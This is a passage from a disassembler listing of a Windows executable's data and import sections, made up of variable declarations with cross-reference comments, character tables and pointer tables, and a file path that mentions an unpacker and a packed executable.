sub_40BC9B+9r ; sub_40BC9B+25r ... dword_4E5AD0 dd 80h dup(0) ; DATA XREF: sub_40CCE8+8Do dword_4E5CD0 dd 2 dup(0) ; DATA XREF: sub_40D667+68o byte_4E5CD8 db 2 dup(0) ; DATA XREF: sub_40D117+13o word_4E5CDA dw 0 ; DATA XREF: sub_40D95B+10o dword_4E5CDC dd 2080Ah ; DATA XREF: sub_40E19F+8w ; sub_40E29B+2CCo byte_4E5CE0 db 0 ; DATA XREF: sub_40E29B+64o byte_4E5CE1 db 3 dup(0) ; DATA XREF: sub_40E29B+69o dword_4E5CE4 dd 2 dup(0) ; DATA XREF: sub_40E29B+1FBo dword_4E5CEC dd 0 ; DATA XREF: _0:0040EC69o dword_4E5CF0 dd 0 ; DATA XREF: sub_40EE18+1Fr ; sub_40EE63+BCo ... dword_4E5CF4 dd 0 ; DATA XREF: sub_40EE63+B7o ; sub_40EE63+DAr ... dword_4E5CF8 dd 0 ; DATA XREF: sub_40EE63+9Ao ; sub_40EE63+CFr ... dword_4E5CFC dd 0 ; DATA XREF: sub_40EDD5+35r ; sub_40EE63+95o ... dword_4E5D00 dd 0 ; DATA XREF: sub_40EDD5+17r ; sub_40EE18+3Dr ... dword_4E5D04 dd 0D220h ; DATA XREF: sub_40C049+2A1r ; sub_40F038+10w ... dword_4E5D08 dd 0 ; DATA XREF: sub_40BD06+1Br ; sub_40F04F+27Cw dword_4E5D0C dd 0 ; DATA XREF: sub_40F909+2Aw ; sub_40F909+51r ... dword_4E5D10 dd 2 dup(0) ; DATA XREF: sub_4109F3+74o dword_4E5D18 dd 0 ; DATA XREF: sub_4110D4+146r align 10h dword_4E5D20 dd 0 ; DATA XREF: sub_4110D4+139o byte_4E5D24 db 0 ; DATA XREF: sub_41206F+1EFr align 4 dword_4E5D28 dd 0 ; DATA XREF: sub_412C10+4w ; sub_412C10+9o align 10h byte_4E5D30 db 0 ; DATA XREF: sub_413740+1C1w ; sub_413740+2C0o align 2 word_4E5D32 dw 0 ; DATA XREF: sub_413740+1D1w word_4E5D34 dw 0 ; DATA XREF: sub_413740+1D7w word_4E5D36 dw 0 ; DATA XREF: sub_413740+1DEw byte_4E5D38 db 0 ; DATA XREF: sub_413740+1E5w byte_4E5D39 db 0 ; DATA XREF: sub_413740+1ECw word_4E5D3A dw 0 ; DATA XREF: sub_413740+1F2w dword_4E5D3C dd 0 ; DATA XREF: sub_413740+220w ; sub_413740+23Ew dword_4E5D40 dd 0 ; DATA XREF: sub_413740+246w byte_4E5D44 db 0 ; DATA XREF: sub_413740+258w byte_4E5D45 db 0 ; DATA XREF: sub_413740+26Bw word_4E5D46 dw 0 ; DATA XREF: sub_413740+283w word_4E5D48 dw 0 ; DATA XREF: sub_413740+292w word_4E5D4A dw 0 ; DATA XREF: sub_413740+28Aw dword_4E5D4C dd 101h dup(0) ; DATA XREF: sub_413740+2A7o dword_4E6150 dd 80h dup(0) ; DATA XREF: sub_401C87+2F5Eo ; sub_401C87:loc_404C94o ... byte_4E6350 db 0 ; DATA XREF: sub_414FC9+19Fw ; sub_414FC9+278o align 2 word_4E6352 dw 0 ; DATA XREF: sub_414FC9+1ACw word_4E6354 dw 0 ; DATA XREF: sub_414FC9+1B6w word_4E6356 dw 0 ; DATA XREF: sub_414FC9+1BFw byte_4E6358 db 0 ; DATA XREF: sub_414FC9+1C6w byte_4E6359 db 0 ; DATA XREF: sub_414FC9+1CDw word_4E635A dw 0 ; DATA XREF: sub_414FC9+1D4w dword_4E635C dd 0 ; DATA XREF: sub_414FC9+1E1w dword_4E6360 dd 0 ; DATA XREF: sub_414FC9+1E9w word_4E6364 dw 0 ; DATA XREF: sub_414FC9+242w word_4E6366 dw 0 ; DATA XREF: sub_414FC9+22Aw word_4E6368 dw 0 ; DATA XREF: sub_414FC9+254w word_4E636A dw 0 ; DATA XREF: sub_414FC9+1F5w dword_4E636C dd 100h dup(0) ; DATA XREF: sub_414FC9+263o dword_4E676C dd 0 ; DATA XREF: sub_401C87+19D4w ; sub_401C87+2F56r ... dd 0 byte_4E6774 db 0 ; DATA XREF: sub_4154BB+237o ; sub_4154BB+246w ... byte_4E6775 db 0 ; DATA XREF: sub_4154BB+25Aw word_4E6776 dw 0 ; DATA XREF: sub_4154BB+28Bw word_4E6778 dw 0 ; DATA XREF: sub_4154BB+272w ; sub_4154BB:loc_415872w word_4E677A dw 0 ; DATA XREF: sub_4154BB+291w byte_4E677C db 0 ; DATA XREF: sub_4154BB+27Ew byte_4E677D db 0 ; DATA XREF: sub_4154BB+253w word_4E677E dw 0 ; DATA XREF: sub_4154BB+3D7w ; sub_4154BB+401w dword_4E6780 dd 0 ; DATA XREF: sub_4154BB:loc_41576Bw ; sub_4154BB+381r dword_4E6784 dd 0 ; DATA XREF: sub_4154BB+2BDw word_4E6788 dw 0 ; DATA XREF: sub_4154BB+37Bw ; sub_4154BB+3CDo word_4E678A dw 0 ; DATA XREF: sub_4154BB+31Cw ; sub_4154BB+341r ... dword_4E678C dd 0 ; DATA XREF: sub_4154BB+2F3w ; sub_4154BB+3BEw dword_4E6790 dd 0 ; DATA XREF: sub_4154BB+30Fw ; sub_4154BB+392w ... byte_4E6794 db 0 ; DATA XREF: sub_4154BB+2F8r ; sub_4154BB+306w byte_4E6795 db 0 ; DATA XREF: sub_4154BB+2C2w ; sub_4154BB+38Bw ... word_4E6796 dw 0 ; DATA XREF: sub_4154BB+2D0w word_4E6798 dw 0 ; DATA XREF: sub_4154BB+3DEw ; sub_4154BB+40Fw word_4E679A dw 0 ; DATA XREF: sub_4154BB+315w word_4E679C dw 0 ; DATA XREF: sub_4154BB+347w ; sub_4154BB+417o word_4E679E dw 0 ; DATA XREF: sub_4154BB+356w ; sub_4154BB+3EEw dword_4E67A0 dd 0 ; DATA XREF: sub_4154BB+350w dd 2 dup(0) dword_4E67AC dd 0 ; DATA XREF: sub_4154BB+386w ; sub_4154BB+3FCo dword_4E67B0 dd 0 ; DATA XREF: sub_4154BB+322w byte_4E67B4 db 0 ; DATA XREF: sub_4154BB+328w byte_4E67B5 db 0 ; DATA XREF: sub_4154BB+32Ew word_4E67B6 dw 0 ; DATA XREF: sub_4154BB+33Bw dword_4E67B8 dd 6 dup(0) ; DATA XREF: sub_4154BB+3D2o dword_4E67D0 dd 0 ; DATA XREF: sub_4154BB+30w ; sub_4154BB+420r align 8 dword_4E67D8 dd 100h dup(0) ; DATA XREF: sub_4154BB+1BBo ; sub_4154BB+463o dword_4E6BD8 dd 1000h dup(0) ; DATA XREF: sub_415A3C+1Do ; _0:00415B26o ... dword_4EABD8 dd 0 ; DATA XREF: sub_415A3C+13o ; _0:00415B6Do ... dd 6 dup(0) dword_4EABF4 dd 0 ; DATA XREF: sub_4165C7:loc_41665Ao dword_4EABF8 dd 0 ; DATA XREF: sub_416D68+438o dword_4EABFC dd 0Dh dup(0) ; DATA XREF: sub_41727E+Fo dword_4EAC30 dd 80h dup(0) ; DATA XREF: sub_417F2F+41o dword_4EAE30 dd 200h dup(0) ; DATA XREF: sub_41786C+C7o ; sub_417BC7+DDo ... dword_4EB630 dd 200h dup(0) ; DATA XREF: sub_41786C+D6o ; sub_417BC7+F4o ... dword_4EBE30 dd 0 ; DATA XREF: sub_41786C+86w ; sub_417A3E+94r dword_4EBE34 dd 0 ; DATA XREF: sub_41786C+A7w ; sub_417E98+55r ... dword_4EBE38 dd 0 ; DATA XREF: sub_41786C+A0w ; sub_417A3E+D6r ... dword_4EBE3C dd 0 ; DATA XREF: sub_41786C+79w ; sub_417A3E+35r ... dword_4EBE40 dd 80h dup(0) ; DATA XREF: sub_417E98+5Eo dword_4EC040 dd 0 ; DATA XREF: sub_41786C+93w ; sub_417A3E+A2r dword_4EC044 dd 0 ; DATA XREF: sub_41786C+E7o ; sub_41786C+103r ... dword_4EC048 dd 0 ; DATA XREF: sub_417BC7+178w ; sub_417D6B+107w dword_4EC04C dd 0 ; DATA XREF: sub_417BC7+17Dw ; sub_417D6B+10Dw ... dword_4EC050 dd 0 ; DATA XREF: sub_417BC7+156w ; sub_417E98+4Fr align 8 dword_4EC058 dd 0 ; DATA XREF: sub_41820B+29w ; sub_41820B:loc_41838Aw ... dword_4EC05C dd 0 ; DATA XREF: sub_401C87+3CA2o ; sub_4180CE+12o ... dd 0 dword_4EC064 dd 0 ; DATA XREF: sub_41820B+21r ; sub_4183AA+3Ar dd 7Fh dup(0) dword_4EC264 dd 0 ; DATA XREF: sub_41820B+1Br ; sub_4183AA+4Aw dd 1944h dup(0) byte_4F2778 db 0 ; DATA XREF: sub_4183AA+23o ; _2:0044F9E4o byte_4F2779 db 0 ; DATA XREF: _2:0044F9E8o byte_4F277A db 0 ; DATA XREF: _2:0044F9F0o byte_4F277B db 0 ; DATA XREF: _2:0044F9F4o byte_4F277C db 0 ; DATA XREF: sub_401C87+3CC0o ; sub_4180CE+3Co ... byte_4F277D db 0 ; DATA XREF: _2:0044F9FCo byte_4F277E db 0 ; DATA XREF: _2:0044FA18o byte_4F277F db 0 ; DATA XREF: _2:0044FA20o byte_4F2780 db 0 ; DATA XREF: _2:0044FA24o byte_4F2781 db 0 ; DATA XREF: _2:0044FA30o byte_4F2782 db 0 ; DATA XREF: _2:0044FA34o byte_4F2783 db 0 ; DATA XREF: _2:0044FA3Co align 8 dword_4F2788 dd 80h dup(0) ; DATA XREF: sub_418C20+6Ao dword_4F2988 dd 2 dup(0) ; DATA XREF: sub_418EAE+E9o dword_4F2990 dd 18h dup(0) ; DATA XREF: sub_419479:loc_419596o ; sub_419479+131o ... dword_4F29F0 dd 80h dup(0) ; DATA XREF: sub_41A20B+7Co ; sub_41A20B+A5o dword_4F2BF0 dd 0 ; DATA XREF: sub_4197F6+45w ; sub_4197F6+4Dr ... align 8 dword_4F2BF8 dd 18h dup(0) ; DATA XREF: sub_41A0D7:loc_41A1F9o ; sub_41A0D7+12Do dword_4F2C58 dd 80h dup(0) ; DATA XREF: sub_419737+4Bo ; sub_419737+7Do ... byte_4F2E58 db 0 ; DATA XREF: sub_4197F6+29r ; sub_4197F6+34w align 10h dword_4F2E60 dd 80h dup(0) ; DATA XREF: sub_419A4D+61o ; sub_419A4D+88o ... dword_4F3060 dd 80h dup(0) ; DATA XREF: sub_419350+33o ; sub_419350+50o ... dword_4F3260 dd 0 ; DATA XREF: sub_41A6A9:loc_41A6CAr ; sub_41A798+54r ... dword_4F3264 dd 0 ; DATA XREF: sub_41A6A9r ; sub_41A798+37r ... dword_4F3268 dd 0 ; DATA XREF: sub_41A6D9+1Ar ; sub_41A8ED+83o dword_4F326C dd 0 ; DATA XREF: sub_41A6A9:loc_41A6BDr ; sub_41A8ED+11Bw dword_4F3270 dd 0Dh dup(0) ; DATA XREF: sub_41A798+13o ; sub_41A8ED:loc_41AA2Eo dword_4F32A4 dd 0 ; DATA XREF: sub_41A798+CDr ; sub_41A798+ECr ... byte_4F32A8 db 0 ; DATA XREF: sub_41A711+9o byte_4F32A9 db 0 ; DATA XREF: sub_41A8ED+DFo word_4F32AA dw 0 ; DATA XREF: sub_41A8ED:loc_41AA29o dword_4F32AC dd 0Ch dup(0) ; DATA XREF: sub_41B51B+3Eo db 2 dup(0) word_4F32DE dw 0 ; DATA XREF: sub_41B6C1+13o dword_4F32E0 dd 0AA1E90h ; DATA XREF: sub_41BF80+262w ; sub_41C3F0:loc_41C82Br ... dword_4F32E4 dd 1545h ; DATA XREF: sub_41BF80:loc_41C193r ; sub_41BF80+21Cw ... dword_4F32E8 dd 0AA3230h ; DATA XREF: sub_41BF80:loc_41C1C9r ; sub_41BF80+252r ... dword_4F32EC dd 118Ah ; DATA XREF: sub_41BF80+222r ; sub_41BF80+22Aw ... dword_4F32F0 dd 118Ah ; DATA XREF: sub_41BF80+235r ; sub_41BF80+243w ... dword_4F32F4 dd 0 ; DATA XREF: sub_4314E0+217r dword_4F32F8 dd 0A28h ; DATA XREF: sub_41D6B0:loc_41D71Ar ; sub_41D6B0:loc_41D78Dr ... dword_4F32FC dd 501h ; DATA XREF: _0:00422164w dword_4F3300 dd 5 ; DATA XREF: _0:0042214Fw _0:00422155r dword_4F3304 dd 1 ; DATA XREF: _0:0042213Ew _0:0042215Er dword_4F3308 dd 1 ; DATA XREF: sub_401404:loc_4016E7r ; sub_42F3E0+C6w dword_4F330C dd 0AA2840h ; DATA XREF: sub_401404+2ECr ; sub_401404+30Cr ... dd 0 dword_4F3314 dd 0AA2888h ; DATA XREF: sub_42F290+7Bw ; sub_42F290+81r ... dword_4F3318 dd 0 ; DATA XREF: sub_439F20+49r dword_4F331C dd 0 ; DATA XREF: sub_4374C0+24r ; sub_4396D0+6r ... dd 0 off_4F3324 dd offset aCM_unpackerPac ; DATA XREF: sub_42F3E0+26w ; sub_42F3E0+3Cr ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4F332C db 0 ; DATA XREF: sub_41E920+30w ; sub_422400+8r align 10h dword_4F3330 dd 0 ; DATA XREF: sub_41E920:loc_41E943w dword_4F3334 dd 0 ; DATA XREF: sub_41E920+9r ; sub_41E920:loc_41E9EBw dword_4F3338 dd 0 ; DATA XREF: sub_41E920+95r ; sub_41E920+AFw dword_4F333C dd 0 ; DATA XREF: _0:004201C4r _0:004201CFw dword_4F3340 dd 0 ; DATA XREF: sub_420130+10w align 8 dword_4F3348 dd 0 ; DATA XREF: sub_420D80+88r ; sub_420D80+F8w align 10h dword_4F3350 dd 0 ; DATA XREF: sub_420D80+7Dr ; sub_420D80+100w ... byte_4F3354 db 2 dup(0) ; DATA XREF: sub_420D80+109w word_4F3356 dw 0 ; DATA XREF: sub_420D80+52r dword_4F3358 dd 0 ; DATA XREF: sub_420D80+3Dr ; sub_420D80+112w ... dword_4F335C dd 0 ; DATA XREF: sub_420D80+11Aw dword_4F3360 dd 0 ; DATA XREF: _0:004221C3w ; sub_42F290+1Br ... align 8 dword_4F3368 dd 0 ; DATA XREF: sub_422270+3r ; sub_4222A0+3r ... dword_4F336C dd 0 ; DATA XREF: sub_4277D0:loc_427A95r ; sub_4277D0+2CEw ... dword_4F3370 dd 0 ; DATA XREF: sub_422610+93r ; sub_422610+C8w ... dword_4F3374 dd 0 ; DATA XREF: sub_41BE40+Ar ; sub_41BE70+10r ... dword_4F3378 dd 0 ; DATA XREF: _0:0042313Er _0:00423149w ... align 10h dword_4F3380 dd 144D08h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: _2:off_451AF4o byte_4F3398 db 90h ; DATA XREF: _2:off_451B34o db 4Ch, 14h, 0 dd 0FFFFFFFFh, 4 dup(0) dword_4F33B0 dd 144CE0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: _2:off_451B14o dword_4F33C8 dd 144CB8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: _2:off_451B24o dword_4F33E0 dd 0 ; DATA XREF: sub_425FB0+8Br ; sub_425FB0+93w ... dword_4F33E4 dd 1 ; DATA XREF: sub_4290B0:loc_4293C2r ; sub_429400+3w ... dword_4F33E8 dd 0 ; DATA XREF: sub_429C90+A6r ; sub_429C90+C9w ... align 10h dword_4F33F0 dd 0 ; DATA XREF: sub_420F10+Co ; sub_42DE80+82r ... align 8 dword_4F33F8 dd 0 ; DATA XREF: sub_421620+Dr ; sub_421620:loc_4216B6r ... dword_4F33FC dd 0 ; DATA XREF: sub_434620+4r dword_4F3400 dd 0 ; DATA XREF: sub_4342F0+18r dword_4F3404 dd 0 ; DATA XREF: sub_433970+4r dword_4F3408 dd 0 ; DATA XREF: sub_421F10+B9r ; sub_421F10+16Cr ... dword_4F340C dd 0 ; DATA XREF: sub_42DE80+11Fw dword_4F3410 dd 0 ; DATA XREF: sub_42E120+C7o ; sub_42E120+140o word_4F3414 dw 0 ; DATA XREF: sub_42E120+E8r align 4 dword_4F3418 dd 0 ; DATA XREF: sub_42E120+EFw ; sub_42E120+159o dword_4F341C dd 1 ; DATA XREF: sub_42EC50+26r ; sub_42EC50+4Bw ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_42F3E0+19o ; sub_42F3E0+26o ... align 4 dd 3Ah dup(0) dword_4F3524 dd 1 ; DATA XREF: sub_42F8F0+14r ; sub_42F8F0+2Cw ... dword_4F3528 dd 0 ; DATA XREF: sub_42FEE0+2Br ; sub_42FEE0+34r dword_4F352C dd 0 ; DATA XREF: _0:loc_4305C6r ; _0:004305D2w ... dword_4F3530 dd 0 ; DATA XREF: _0:loc_4305DAr ; _0:004305E5w ... dword_4F3534 dd 0 ; DATA XREF: _0:loc_4305EDr ; _0:004305F9w ... dword_4F3538 dd 0 ; DATA XREF: _0:loc_430600r ; _0:0043060Cw ... dword_4F353C dd 0 ; DATA XREF: _0:loc_43055Ar ; _0:00430575w dword_4F3540 dd 0 ; DATA XREF: sub_430AA0+Dr ; sub_430AA0+39w ... dword_4F3544 dd 0 ; DATA XREF: sub_430AA0+5Aw ; sub_430AA0:loc_430B13r ... dword_4F3548 dd 0 ; DATA XREF: sub_430AA0+6Ew ; sub_430AA0+8Br ... dword_4F354C dd 1 ; DATA XREF: sub_431210+26r ; sub_431210+46w ... dword_4F3550 dd 0 ; DATA XREF: sub_4277D0+9r dword_4F3554 dd 77C26E79h ; DATA XREF: sub_432EE0:loc_432F0Er ; sub_432EE0+37r ... dword_4F3558 dd 0 ; DATA XREF: sub_433090+17w ; sub_433090+6Dw ... align 10h dword_4F3560 dd 0 ; DATA XREF: sub_433090+59o ; sub_433090+77r dword_4F3564 dd 10h dup(0) ; DATA XREF: sub_433090+103o word_4F35A4 dw 0 ; DATA XREF: sub_433470+FCr word_4F35A6 dw 0 ; DATA XREF: sub_433090+88r ; sub_433470+145r ... word_4F35A8 dw 0 ; DATA XREF: sub_433470+132r word_4F35AA dw 0 ; DATA XREF: sub_433470+13Br ; sub_433470+18Br word_4F35AC dw 0 ; DATA XREF: sub_433470+126r ; sub_433470+181r word_4F35AE dw 0 ; DATA XREF: sub_433470+11Cr ; sub_433470+177r word_4F35B0 dw 0 ; DATA XREF: sub_433470+113r ; sub_433470+16Er word_4F35B2 dw 0 ; DATA XREF: sub_433470+109r ; sub_433470+164r dword_4F35B4 dd 0 ; DATA XREF: sub_433090+93r ; sub_433090+CEr dword_4F35B8 dd 10h dup(0) ; DATA XREF: sub_433090+149o word_4F35F8 dw 0 ; DATA XREF: sub_433470+43r word_4F35FA dw 0 ; DATA XREF: sub_433090+ABr ; sub_433470+8Cr ... word_4F35FC dw 0 ; DATA XREF: sub_433470+79r word_4F35FE dw 0 ; DATA XREF: sub_433470+82r ; sub_433470+D2r word_4F3600 dw 0 ; DATA XREF: sub_433470+6Dr ; sub_433470+C8r word_4F3602 dw 0 ; DATA XREF: sub_433470+63r ; sub_433470+BEr word_4F3604 dw 0 ; DATA XREF: sub_433470+5Ar ; sub_433470+B5r word_4F3606 dw 0 ; DATA XREF: sub_433470+50r ; sub_433470+ABr dword_4F3608 dd 0 ; DATA XREF: sub_433090+B6r ; sub_433090+C9r dword_4F360C dd 0 ; DATA XREF: sub_433090+18Dr ; sub_433090+196r ... dword_4F3610 dd 0 ; DATA XREF: sub_433030+3r ; sub_433030+16r ... dword_4F3614 dd 0 ; DATA XREF: sub_433970+75r ; sub_433970+86r ... dword_4F3618 dd 0 ; DATA XREF: sub_4342F0+25o ; sub_4342F0+93r ... dword_4F361C dd 0 ; DATA XREF: sub_4342F0+42o ; sub_4342F0+A3r ... dword_4F3620 dd 0 ; DATA XREF: sub_4342F0+5Fo ; sub_4342F0+7Cr ... dword_4F3624 dd 0 ; DATA XREF: sub_434620+A0r ; sub_434620+B1r ... dword_4F3628 dd 0 ; DATA XREF: sub_434A80+2AAr ; sub_434A80+2B5r ... dword_4F362C dd 0 ; DATA XREF: sub_434A80+2CCr ; sub_434A80+2D7r ... dword_4F3630 dd 3 dup(0) ; DATA XREF: sub_42DE80+94o ; sub_42DE80+F3o word_4F363C dw 0 ; DATA XREF: sub_434A80+36r align 10h dd 0 word_4F3644 dw 0 ; DATA XREF: sub_434750+Fr align 4 db 2 dup(0) word_4F364A dw 0 ; DATA XREF: sub_4342F0+Fr db 2 dup(0) word_4F364E dw 0 ; DATA XREF: sub_433A50+Fr word_4F3650 dw 0 ; DATA XREF: sub_433A50+1Ar align 4 dword_4F3654 dd 0 ; DATA XREF: sub_434EB0+155r ; sub_434EB0+176r ... dword_4F3658 dd 0 ; DATA XREF: sub_435140+37w ; sub_435200+1Br ... dword_4F365C dd 0 ; DATA XREF: sub_435140+6Ew ; sub_435200+101r ... dword_4F3660 dd 0 ; DATA XREF: sub_435140+1Aw ; sub_435140+47r ... dword_4F3664 dd 0 ; DATA XREF: sub_434EB0+45w ; sub_434EB0+4Br ... dword_4F3668 dd 0 ; DATA XREF: sub_434EB0+7Aw ; sub_434EB0+80r ... dword_4F366C dd 0 ; DATA XREF: sub_434EB0:loc_434F59w ; sub_434EB0:loc_434FBEr ... dword_4F3670 dd 0 ; DATA XREF: sub_434EB0+182r ; sub_434EB0+1CBr ... dword_4F3674 dd 0 ; DATA XREF: sub_434EB0+6r ; sub_434EB0+2Cw ... dword_4F3678 dd 0 ; DATA XREF: sub_4314E0:loc_43153Cr byte_4F367C db 0 ; DATA XREF: sub_438A00+18Fo ; sub_438A00+1F2r ... align 10h dd 0 dword_4F3684 dd 0 ; DATA XREF: sub_4349E0+11o ; _2:off_454DECo ... dword_4F3688 dd 0 ; DATA XREF: sub_438CA0+26r ; sub_438CA0+46w ... dword_4F368C dd 0 ; DATA XREF: sub_439780+26r ; sub_439780+41w ... dword_4F3690 dd 0 ; DATA XREF: sub_439920+26r ; sub_439920+41w ... dword_4F3694 dd 0 ; DATA XREF: sub_439AD0+26r ; sub_439AD0+4Bw ... dword_4F3698 dd 0 ; DATA XREF: sub_43B420+26r ; sub_43B420+4Bw ... byte_4F369C db 1 ; DATA XREF: sub_40E188r sub_40E188+9w align 10h dword_4F36A0 dd 0 ; DATA XREF: sub_437B80+90w ; sub_437B80+A5w ... dword_4F36A4 dd 0 ; DATA XREF: sub_437D10+1C4w ; sub_437D10+1EDw ... dd 6 dup(0) dword_4F36C0 dd 0AA1F58h ; DATA XREF: sub_4222D0+EDr ; sub_4222D0+109r ... dd 3Fh dup(0) dword_4F37C0 dd 20h ; DATA XREF: sub_422CB0+7r ; sub_4272F0+7r ... dword_4F37C4 dd 0 ; DATA XREF: sub_420F10+5Ar ; sub_421620+68r ... dword_4F37C8 dd 0 ; DATA XREF: sub_420F10:loc_420F63w ; sub_420F10:loc_420F77w ... dword_4F37CC dd 4E4h ; DATA XREF: sub_4290B0+22r ; sub_4290B0+14Aw ... word_4F37D0 dw 0 ; DATA XREF: sub_4290B0+19Aw ; sub_4290B0+2F3w ... align 4 dd 2 dup(0) dword_4F37DC dd 0 ; DATA XREF: sub_4290B0+150w ; sub_4290B0+2C2w ... byte_4F37E0 db 0 ; DATA XREF: sub_429560+1CEw ; sub_429560+21Aw ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4F38E0 db 0 ; DATA XREF: sub_4290B0+ABw ; sub_4290B0+1F4w ... byte_4F38E1 db 0 ; DATA XREF: sub_41ED30+92r ; sub_4290B0+129r ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4F39E4 dd 0 ; DATA XREF: sub_4290B0+169w ; sub_4290B0+205w ... dword_4F39E8 dd 0AA0000h ; DATA XREF: sub_41D6B0+8Dr ; sub_41D6B0+FBr ... dword_4F39EC dd 1 ; DATA XREF: sub_41D6B0:loc_41D6E1r ; sub_41D6B0:loc_41D74Er ... dword_4F39F0 dd 0 ; DATA XREF: sub_424080+51w ; sub_424CD0+9r ... dword_4F39F4 dd 0 ; DATA XREF: sub_4241B0+484r ; sub_4241B0+4B3r ... dword_4F39F8 dd 0 ; DATA XREF: sub_424080+37w ; sub_4241B0+5C1w ... align 10h dword_4F3A00 dd 0 ; DATA XREF: sub_424080+3Dw ; sub_4241B0+477r ... dword_4F3A04 dd 0 ; DATA XREF: sub_424080+47w ; sub_4240F0+6r ... dword_4F3A08 dd 0 ; DATA XREF: sub_424080+16w ; sub_424080+1Br ... dword_4F3A0C dd 0 ; DATA XREF: sub_4234C0+2Fr ; sub_423620+6Dr ... dword_4F3A10 dd 0 ; DATA XREF: _0:004225F4r _0:004225FFw ... dword_4F3A14 dd 0AA3250h ; DATA XREF: sub_4222D0+48w ; sub_4222D0+4Dr ... align 10h dword_4F3A20 dd 400h dup(0) ; DATA XREF: _2:off_451848o ; _2:00451850o dword_4F4A20 dd 200h ; DATA XREF: sub_4222D0+4r ; sub_4222D0+Dw ... dword_4F4A24 dd 142340h ; DATA XREF: _0:004221B9w ; sub_42F1D0:loc_42F1E2r ... dword_4F4A28 dd 1 ; DATA XREF: sub_42F290+13Bw ; sub_4374C0+Er dword_4F4A2C dd 1 ; DATA XREF: sub_429890+3r ; sub_429890+16w ... dword_4F4A30 dd 0AA241Ch ; DATA XREF: sub_41E920+45r ; sub_420C50+19r ... dword_4F4A34 dd 0AA2410h ; DATA XREF: sub_41E920+3Cr ; sub_41E920+5Ar ... dword_4F4A38 dd 0 ; DATA XREF: _0:0041D914r _0:0041D91Fw ... byte_4F4A3C db 1 ; DATA XREF: sub_43A8E0+5r ; sub_43A8E0+11r ... _2 ends ; Section 4. (virtual address 000F5000) ; Virtual size : 00000F4E ( 3918.) ; Section size in file : 00000F4E ( 3918.) ; Offset to raw data for section: 000F5000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _3 segment para public 'CODE' use32 assume cs:_3 ;org 4F5000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing dd 0F5270h, 0FFFFFFFEh, 0 dd 0F556Eh, 0F54F4h, 0F5278h, 0FFFFFFFEh, 0 dd 0F5584h, 0F54FCh, 0F5050h, 0FFFFFFFEh, 0 dd 0F5F40h, 0F52D4h, 5 dup(0) dd 0F598Eh, 0F5F26h, 0F5F14h, 0F5F02h, 0F5EF0h, 0F5EE0h dd 0F5ECAh, 0F5EB4h, 0F5EA2h, 0F5E92h, 0F5E82h, 0F5E64h dd 0F5E52h, 0F5E40h, 0F5E2Ch, 0F5E1Ch, 0F5E0Eh, 0F5DFCh dd 0F5DE2h, 0F5DCAh, 0F5DB0h, 0F5D96h, 0F5D7Ah, 0F5D6Ah dd 0F5D5Ah, 0F5590h, 0F559Eh, 0F55ACh, 0F55BEh, 0F55D4h dd 0F55EAh, 0F55F2h, 0F5602h, 0F5610h, 0F561Eh, 0F5634h dd 0F5644h, 0F5650h, 0F5666h, 0F567Ch, 0F5690h, 0F56A6h dd 0F56B6h, 0F56C6h, 0F56D8h, 0F56E8h, 0F56F4h, 0F5704h dd 0F5716h, 0F572Ah, 0F573Ch, 0F574Ch, 0F575Ah, 0F5772h dd 0F578Ah, 0F57B2h, 0F57CAh, 0F57D6h, 0F57E6h, 0F57F2h dd 0F5800h, 0F5814h, 0F5826h, 0F583Ah, 0F5848h, 0F585Ah dd 0F586Ch, 0F587Ah, 0F5886h, 0F589Eh, 0F58B8h, 0F58C8h dd 0F58DAh, 0F58ECh, 0F5904h, 0F591Eh, 0F593Ah, 0F594Ah dd 0F5964h, 0F5980h, 0F59A8h, 0F59B4h, 0F59C0h, 0F59D2h dd 0F59E4h, 0F59F8h, 0F5A08h, 0F5A1Ah, 0F5A2Ah, 0F5A38h dd 0F5A4Ah, 0F5A5Ah, 0F5A70h, 0F5A7Eh, 0F5A8Ch, 0F5AA8h dd 0F5ABEh, 0F5AD4h, 0F5AE0h, 0F5AF6h, 0F5B06h, 0F5B1Ah dd 0F5B30h, 0F5B40h, 0F5B50h, 0F5B60h, 0F5B6Ch, 0F5B86h dd 0F5B96h, 0F5BAEh, 0F5BC6h, 0F5BD8h, 0F5BEAh, 0F5BF8h dd 0F5C06h, 0F5C16h, 0F5C2Ch, 0F5C48h, 0F5C58h, 0F5C66h dd 0F5C74h, 0F5C84h, 0F5C9Eh, 0F5CACh, 0F5CBAh, 0F5CD0h dd 0F5CDEh, 0F5CEAh, 0F5CF4h, 0F5D04h, 0F5D12h, 0F5D26h dd 0F5D32h, 0F5D3Ch, 0F5D48h, 0 dd 0F5558h, 0 dd 80000007h, 8000000Fh, 8000000Ch, 80000074h, 80000073h dd 80000015h, 8000000Ah, 80000002h, 8000000Dh, 80000001h dd 0F5576h, 8000000Bh, 80000009h, 80000004h, 80000010h dd 80000003h, 80000017h, 80000013h, 80000012h, 80000097h dd 80000006h, 80000034h, 0 dword_4F52D4 dd 77E78147h ; DATA XREF: 